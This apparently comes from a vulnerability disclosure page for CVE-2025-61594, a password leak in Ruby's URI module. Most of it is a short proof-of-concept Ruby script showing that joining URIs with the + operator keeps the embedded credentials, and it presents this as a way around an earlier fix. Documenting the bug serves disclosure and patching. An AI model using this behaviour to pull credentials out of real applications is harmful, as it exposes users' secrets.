CVE-2025-61594 Ruby URI模块密码泄露漏洞

require 'uri' # Create a URI with credentials original_uri = URI('http://user:[email protected]/path') # Another URI to combine with another_uri = URI('/another/path') # Using + operator to combine URIs - this leaks the password combined_uri = original_uri + another_uri # The password 'secretpassword' is leaked in the combined URI puts "Original URI: #{original_uri}" puts "Combined URI: #{combined_uri}" puts "Password leaked: #{combined_uri.userinfo}" # Demonstrating the bypass of CVE-2025-27221 fix # The fix for CVE-2025-27221 may have addressed specific cases # but the + operator still exposes credentials # Example showing credential exposure malicious_uri = URI('http://admin:[email protected]/api') + URI('/public/endpoint') puts "Malicious URI with leaked credentials: #{malicious_uri}" # Output will contain 'admin:admin123'